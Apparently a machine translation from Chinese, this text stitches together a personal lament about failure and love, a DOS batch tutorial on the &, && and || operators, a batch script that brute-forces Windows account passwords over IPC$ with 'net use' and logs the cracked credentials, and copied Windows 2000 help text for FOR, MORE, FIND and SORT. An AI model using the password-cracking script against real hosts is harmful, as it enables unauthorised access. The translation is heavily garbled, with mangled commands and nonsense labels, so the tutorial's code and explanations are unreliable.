But can I blame? After a busy one, I had to have a year, but I hanged the department, failed; I hanged the department, I turned it out, and I lost the back of the whole class. The failure of failure; even more failed, it was the most lost time, I can't find it. When a person can talk; but the most failure, it suddenly found that he was so fragile, so couldn't stay lonely. However, this is also a problem that I have a long time, why know why that the love is a vortex, but also jumping in the wishfulness ---- this is youthful, the same age, the fire is as disturbed. No longer love, I don't wait for another person; no longer love, I don't pity in the prisoner you give; no longer love, I don't want to be so ridiculous in others; Love, I don't love it again. Even if I have collapsed, I have to be a person, my head can't be curved, I can't breathe, because although I fail, but a man, it is a man who can't bow down! 14, & this can be said to be the simplest combination command, its role is used to connect N DOS commands and perform these commands in order, regardless of whether there is a command to perform failed. Example 16: Copy a.txt b.txt / y & del a.txt In fact, this is the same as Move A.TXT B.TXT, but the former is divided into two steps (still behind) What is the problem that will be specifically used). This command is very simple, there is not much time tongue, the only thing to pay attention to is that the commands on both sides are in the order of execution, from the procedure. 15, && remember, a few commands introduced here are combined commands, so they must have other commands before and after they have. (Do not combine?). This command is no exception. It can combine it before and after the two commands. When a command is used, the & command is different, it will automatically determine if there is several commands that are connected by it later. An error will not be performed once a command will not continue to perform the remaining commands. This provides easy for our automation to complete some tasks. EXPLIC: //1%/www/user.mdb && copy file: //1%/www/user.mdb E: / backup / www If the remote host exists in User.mdb, COPY to local E : / backup / www, if there is of course, there is no COPY. Is this a bit of a friend who engages in network management? Ha ha. In fact, it is the same as the role of the sentence: if exist file: //1%/www/user.mdb Copy file: //1%/www/user.mdb E: / backup / www as for which you like Just a place, I can't judge which execution efficiency of DIR and IF or two executions, so I don't know which one is better, huh, huh. Do you still remember "Some commands cannot be executed at the same time?" Do you believe this sentence? Of course, I have to believe that I don't believe it will give you questions: list the files and folders of the C disk and D disk to the A.txt file.
How will you get this question? Have friends say, is this not very easy? Also perform two DIR, then get the result> to a.txt, OK, see example 18: DIR C: / && Dir D: /> A.txt carefully study the result after the execution, See if you can reach the requirements! wrong! This is only the information of the D disk in A.txt after this execution! why? Just because the && command and> command can't appear in a sentence at the same time (the batch is seen as a sentence)! ! The priority of the combination command && does not have a high priority of the pipeline command (you will summarize, please refer to the place)! So this sentence will be divided into these two parts: DIR C: / and DIR D: /> A.TXT, not as you think: DIR C: / && Dir D: / and> a .TXT. To use a combination command && to reach the title requirements, you must write this: DIR C: /> A.TXT && Dir D: / >> A.TXT, based on the high priority, DOS will divide this sentence into the following parts : DIR C: /> A.TXT and DIR D: / >> A.TXT. The differences in the few words in the eighteen are special, and it is worth a study. Of course, you can use & command (you think about it.): Dir C: /> a.txt & dir d: / >> a.txt16, || This command usage and && almost the same, but just right and it Instecerance: When performing multiple commands, when you encounter a correct command, you will not continue to perform the following commands. Topic: Check if there is an exe file with S if there is an exe file in the current directory. Example 19: @echo offdir s * .exe || EXIT actually this example is a flaw, have you seen it? In fact, it is very simple. I will try myself: If there is the exe file, you will withdraw it; if there is no exe file, you also quit! why? Because if there is no .exe file, the previous command dir s * .exe execution is definitely unsuccessful, so continue Exit, naturally withdraw, huh, huh. So how do I solve the problem given by the topic? See example 20: @echo offdir s * .exe || echo didn't exist file s * .exe & pause & exit The result of this execution can achieve the requirements of the topic, whether there is two kinds of S * .exe result. The meaning of the suspension here, of course, let you see the contents of Echo output, otherwise a flashing window, Echo is white.
Two scripts given two better research priorities (also more difficult to understand), carefully study their differences in order to completely understand the priority order of various orders, and have a big advantage for the future use of these commands to write scripts. --- Will n't go wrong! OK, please see Eleventh and Example 22: Times 21: @echo offdir a.ttt / a & dir a.txt || Example 22: @echo offdir a.ttt / a && cross A.txt || EXIT Warning: Friends with cardiovascular and cerebrovascular disease, please do not study two cases, otherwise the light is large, and the heavy blood vessels burst. Any person is responsible for the study of the difference between these two scripts, and is not responsible for himself or its legal guardians. That warning! Regarding pipeline commands and combination orders, you will introduce it here, don't know if you understand it? Oh, I can understand it will become genius, unless you have already mastered it! Don't underestimate these ghost orders, the big pool is my saying, it is not a humanite! But I still calm down to study some, and finally, the conclusions have been given, I have given you a little more, I hope you have a good collection and digestive absorption, of course, there is a mistake to be discovered, or incomplete The place is seen by you, please tell me! These orders really make my heads great. There is a very wide batch tutorial on the Internet: "Concise Batch Tutorial", although it is more comprehensive, it looks very interested. When introduced to the for, a for /?> A.txt & start a.txt (of course, I can't say anything at this point, after all, I even didn't give it), and the above pipeline Commands and combination commands, as well as this tutorial, will not be introduced at all aspects of using batch operations. The reason why I spend a whole chapter tells the pipeline command and combination command because they are the essences and souls of the batch, whether they can use these orders, whether they can master the prerequisites for batch. Such as the problem with DOS commands such as for, set, can be specifically targeted from the perspective of DOS, but the problem of these commands is not easy to master ---- they are too complex. ! The following code is stored as a BAT file 1. If you use a dictionary crack: Pass.bat dictionary file path and name Host User Name 2, if you use a digital crack: Pass.bat starts number of steps, the host username password is broken, Store in the C: /Pass.txt file.
Deposit the following code as a Pass.bat file @echo off echo ----------------------------------- ------------------------------ >> C: /Pass.txt echo ----------- -------------------------------------------------- ------ >> C: /Pass.txt Date / T >> C: /Pass.txt Time / T >> C: /Pass.txt Echo Crack Results: >> C: /Pass.txt IF % 6 "==" 1 "GOTO big stick is my saying 2: Largelical is my saying 1 Start" Bracked "/ min cmd / c for / f %% I in (% 1) Do Call test.bat % 2 "%% I"% 3 goto quit: Barvlock is my saying 2 START "Crack" / min cmd / c for / l %% I in (% 1,% 2,% 3) Do Call test. BAT% 4 "%% I"% 5: Quit put the following code as Test.batnet USE //% 1 / IPC $% 2 / user: "% 3" goto answer% errorlevel% trans% errorlevel% indicates that the previous one The command execution returns, NET USE successfully returns 0, failed to return 2: Answer0 Echo Remote Host: "% 1" >> C: /Pass.txt Echo User: "% 3" >> C: /Pass.txt echo secret Code:% 2 >> C: /Pass.txt Net USE / /% 1 / IPC $ / DELET EXIT: Answer2 for runs the specified command to each file in a set of files. You can use the for command from the command prompt from the command prompt in a batch program. To use the for command in the batch program: for %% Variable In (SET) DOCOMMAND [Command-Parameters] To use for the command prompt, use the following syntax: for% variable in (set) Do Command [command-parameters] Parameter %% VARIABLE or% VARIABLE represents replaceable parameters. The for command replaces the %% Variable (or% Variable) per text string specified in the SET until this command (specified in Command-Parameters) processes all files. Use %% Variable to execute the for command in the batch program. Use the% variable to execute the for command through the command prompt. Variable names are case sensitive. (SET) Specify one or more files or text strings you want to process with the specified command. Need parentheses. Command specifies the commands that are executed on each file contained in the specified SET. Command-parameters Specifies any parameters or switches to specify commands (if specified commands you want to use any parameters or switches). If the command extension is enabled (the default settings in Windows 2000) will support other forms of for commands.
Other forms of the for command If the command extension is enabled, other formats of the following for command will support: Limited to directory for / d [%% |%] Variable in (set) docommand [command-parameters] If the set contains wildcards (* and ?), Specify matching with the directory name instead of the file name. Recursive for / r [[Drive:] PATH] [%% |%] Variable In (SET) DOCOMMAND [Command-Parameters] Enters root tree [Drive:] Path, execute the for statement in each directory of the tree. If there is no specified directory after / r, it is assumed to be the current directory. If the set is just a period (.) Character, only the directory tree is listed. Iterate FOR / L [%% |%] Variable in (start, step, end) do command [command-parameters] collection is a series of numbers from head to tail. Thus, (1, 1, 5) will generate a sequence 1 2 3 4 5, and (5, -1, 1) will generate a sequence (5 4 3 2 1). File analysis for / f ["options"] [%% |%] variable in (filenameset) do command [command-parameters] for / f ["options"] [%% |%] Variable in ("Literal String") Do Command [Command-Parameters] for / f ["Options"] [%% |%] Variable in ('Command') Do Command [Command-Parameters] or, if the USEBACKQ option appears: for / f ["Options"] [%% |%] Variable in (filenameset) do command [command-parameters] for / f ["options"] [%% |%] Variable in ('literal string') do command [command-parameters] for / f ["Options"] [%% |%] Variable in (`command`) docommand [command-parameters] filenameset parameter specifies one or more file names. Each file will be opened, read, and processed before proceeding to the next file in the filenameset. The process is divided into independent text rows and then parsing each line into zero or more tokens. Then use the Variable value (or multiple values) set to find to find a variable value (or multiple values) set to call the For cycler. By default, / f passes the first blank separator symbol of each line of each file. Skip the empty line. By specifying an optional "Options" parameter, you can overwrite the default parsing behavior. This is a reference string that contains one or more keywords to specify different parsing options. Keywords are: Keyword Description EOL = C Specifies Ring Note Characters (One Character) Skip = n Specifies the number of rows that are skipped in the beginning of the file. Delims = xxx specifies a set of delimiter. This will replace the default separator set of spaces and tabs. Tokens = X, Y, M-N specifies to pass the token from each row to each repeated body. This will result in allocating other variable names. The M-N format is a range that specifies the token from MTH to NTH.
If the last character in the token = string is an asterisk, the additional variable will be assigned, and the remaining text is received on the line after parsing the last token. Usebackq specifies to execute the right quotation number string as the command, the single quotation string is a text string command, you can use dual quotes including file names in the filenameset. Variable Replacement In addition, the replacement modification program that has been enhanced. You can now use the following optional syntax (for any variable I): Variable (using modified program) Description% ~ i Expand% i% i% ~ Fi to delete any quotes (") of the surroundings (") to expand% i to a fully qualified path Name% ~ Di only expands% i to the drive number% ~ Pi only to expand the% i to the path% ~ Ni only to expand% i to file name% ~ xi only expand% i to file extension% ~ Si expansion path With a short name% to AI to expand the file attribute% ~ Ti expand% i to the file to file the date / time% ~ zi to expand% i to file size% ~ PATH: i Search PATH environment variable The list listed, and unfold% i to the first full qualified name. If the environment variable name is not defined, the file is not found after search, this modifier will extends to an empty string. Modify program It can be combined to obtain complex results: Variables (using merged modifications) Description% ~ DPI only expands% i to drive numbers and path% ~ NXI only expands% i to file name and extension% ~ FSI to expand% i To the full path name% ~ DP $ PATH: i listed in the directory listed in the PATH environment variable, and expand the driver number and path% to the first found result to expand% i Note to DIR-like outputs Note that% i and path can be replaced by other effective values. Terminate% to grammar by a valid for variable name. Using uppercase variable names (eg,% i) can make the code more Readability, and avoid confusion with uncorded modifications. SHIFT changes the location of the replaceable parameters in the batch file. SHIFT enables command extensions (the default settings in Windows 2000), the shift command supports / N switch, the switch The notification command starts to change at the nth parameter, and n may be any value from 0 to 8. For example, Shift / 2 changes% 3 to% 2, change% 4 to% 3, etc., and% 0 and % 1 remains the same. Filter command filter command can help you sort, view, and select some command output. Pass the information filter command by filtering commands to divide, rearrange, and extract some information operations. Windows 2000 has three Filter command: more commands a screen file content or command output each time. The Find command searches for specified characters in the file and command output. The sort command is arranged in alphabetical order and command output. To send input from file to filter Command, please use less than symbol (<). If you want to filter commands get input from other commands, please Use a pipe (|). Use more command to control the screen to display the more command to display the content or command output of the file each time. For example, the following more command shows the content of a screen list.txt file each time: more If Windows 2000 cannot display all directories in one screen, use the Tree command with the pipeline number (|) and more command, as shown in the following example: Tree C: / | More Tree command The first screen output is displayed, After the word "more". Windows 2000 is paused until the user presses any key on the keyboard (except). Searching with the Find Command Searching in one or more files Search for specified text. Windows 2000 displays rows that contain this text. The Find command can be used as a filter command or a standard Windows 2000 command. For information on how to use Find as a standard Windows 2000 command, click Find in the "Related Topic" list. To use the Find as a filter command, include the file name smaller than the symbol (<) and search. When entering the file name, remember that the search is to be case sensitive. For example, the following command finds all "Pacific Rim" strings in trade.txt: find "pacific rim" The Find command selects only the file name containing the string "log". The more command displays the file name selected by the Find command each time. More shows an output screen. This command is usually used to view long files. This command can be used alone, or use it to control the output of other commands, such as the Type command. When you display the fill view area, an More prompt will appear, and the user can enter a number of commands to control the way the residual part of the file. Command name | more [/ c] [/ p] [/ s] [/ tn] [ N] more [[/ c] [/ p] [/ s] [/ t] [ n]] <[Drive :] [PATH] FileNameMore [/ C] [/ p] [/ s] [/ tn] [ n] [files] parameter [drive:] [path] filename Specifies the file to display. Command name Specifies the command to display it. / c Display page before clearing the screen. / P extension change page. / s Change multiple blank rows to a blank line. / TN will change the epitope to n space n to display the first file starting by the N-specified row. FILES Specifies a list of files to display. Separate the file name with a space. More subcommand The following command is accepted at the More prompt (- more -). Keyword operation Space Show next page. ENTER shows the next line. F shows the next file. Q exit. ? Displays the available commands. = Display line number. P n Displays the following N rows. S n skips the following N line. Find Searches for a specified text string in a file or multiple files. After searching the specified file, Find will display all rows containing the specified string. Find [/ v] [/ c] [/ n] "String" [[DRIVE:] [PATH] filename [...]] Parameter / V Displays all rows that do not contain specified strings. / C shows only the number of rows that contain the specified string. / N places the file number at the beginning of each line. / I Specifies that the search is not case sensitive. "String" Specifies the character group to search. The text of String must be included in the quotation marks. [Drive:] [PATH] FILENAME Specifies the location and name of the file you want to search for specified strings. Sort reads input, sort data and write the result on the screen, file, and other devices. Sort [/ r] [/ n] [/ m kilobytes] [/ l locale] [/ REC Characters] [[DRIVE1:] [PATH1] FileName1] [/ t [Drive2:] [PATH2] [/ O [ Drive3:] FileName3] [Command |] Sort [/ r] [/ n] [/ m kilobytes] [/ L locale] [/ REC Characters] [[DRIVE1:] [PATH1] FileName1] [/ T [Drive2] [PATH2]] [PATH2]] [/ O [Drive3:] [Path3] filename3] Parameter / R reverse sort order, ie from Z to A, then sort from 9 to 0. / n Specifies the character position number n, and Sort begins each time a comparison. For example, / 3 indicates that each time is compared to the third character of each row. Rows with less than n characters are sorted before other rows. By default, compare the first character in each row. / m kilobytes specifies the number of main memory used to sort, and press the kilobyte (KB). The memory minimum used is always 160 KB. If the memory size is specified, the specified exact quantity (but at least 160 kb) of memory will be used for sorting. If the input and output is file, the default maximum memory size is 90% of the owner's memory, otherwise 45% of the main memory. Default settings typically produce optimal performance.